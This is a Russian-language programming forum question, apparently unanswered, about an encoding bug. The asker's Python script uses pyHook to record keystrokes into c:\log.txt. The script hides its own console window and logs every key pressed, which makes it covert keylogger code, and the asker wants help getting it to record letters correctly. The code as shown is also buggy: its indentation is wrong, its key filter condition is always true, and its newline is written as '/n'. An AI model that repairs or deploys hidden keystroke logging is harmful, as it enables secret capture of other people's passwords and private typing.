python знаки вопроса вместо букв

Рейтинг: 1Ответов: 0Опубликовано: 22.04.2015

добрый день,
программка на python,

import win32api
import win32console
import win32gui

import pythoncom, pyHook

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

def OnKeyboardEvent(event):
if event.Ascii==5:
    _exit(1)

if event.Ascii != 0 or 8:
    f=open('c:\log.txt','r')
    buffer=f.read()
    f.close()
    f=open('c:\log.txt','w')
    keylogs=chr(event.Ascii)
    if event.Ascii==13:
        keylogs='/n'
    buffer += keylogs
    f.write(buffer)
    f.close()

при записи в файл нажатия кнопок клавиатуры,c цифрами и скобками всё ок, но вместо букв получаю знаки вопроса и иногда спецсимволы, под одной системой программа работает нормально(win 7 32 разряда) под 64 пишет спецсимволы, с неясной кодировкой:


введите сюда описание изображения подскажите как решить этот вопрос? update1:
1)можно ли как-то разобрать иероглифы, уже сохраненные?
2)как избежать такой свистопляски с кодировкой? pyHook 1.5.1

Ответы

Ответов пока нет.